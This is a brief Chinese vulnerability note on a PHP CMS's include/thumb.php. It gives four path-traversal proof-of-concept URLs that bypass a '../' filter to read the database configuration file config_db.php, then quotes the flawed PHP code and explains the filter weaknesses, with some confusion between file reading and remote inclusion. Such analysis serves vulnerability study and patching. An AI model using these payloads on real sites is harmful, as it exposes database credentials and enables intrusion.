一测:/include/thumb.php?dir=..././http/..././config/config_db.php
二测:/include/thumb.php?dir=.....///http/.....///config/config_db.php
三测:/include/thumb.php?dir=http/.....///.....///config/config_db.php
四测:/include/thumb.php?dir=http\..\..\config\config_db.php
注意:此POC 仅适用于Windows 系统,Linux 下无效
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
这段代码的主要任务是从GET参数dir中获取图片资源并显示出来,但在安全防护方面存在一些问题。
首先,它尝试通过删除用户输入中的 '../' 和 './' 字符串来阻止基本的路径遍历攻击。但是这种方法并不能完全避免所有类型的路径遍历漏洞,因为攻击者可能使用其他方式绕过这些过滤规则。
其次,代码检查了 $dir 是否以 'http://' 或 'https://' 开头,并且不包含 './' 字符。这么做是想防止远程文件包含(RFI)攻击的发生,即不让网站从互联网上的远程URL加载和执行文件。然而,仅仅依赖于这两个条件判断并不足以确保安全性,因为攻击者可能有办法绕过这种限制。
具体来说:
substr(str_replace($_M['url']['site'], '', $dir),0,4) 这行代码的作用是从经过处理的 $dir 字符串中取出前四个字符,看它们是否等于 'http'。如果 $dir 指向的是一个URL,并且该URL是以 'http://' 或 'https://' 开始的,那么这一部分将返回 'http'。
strpos($dir, './') === false 判断 $dir 中是否没有 './' 字符串。如果没有,则表达式为真。
当上述两个条件都满足时,意味着 $dir 指向的是一个不包含 './' 的远程网址。
最后,若这两个条件均满足,程序会直接输出请求的资源内容,并将其响应类型设置为 image/jpeg,即认为它是一个JPEG格式的图片文件。但这样做实际上是允许了远程文件包含,而不是阻止它,从而留下了安全隐患。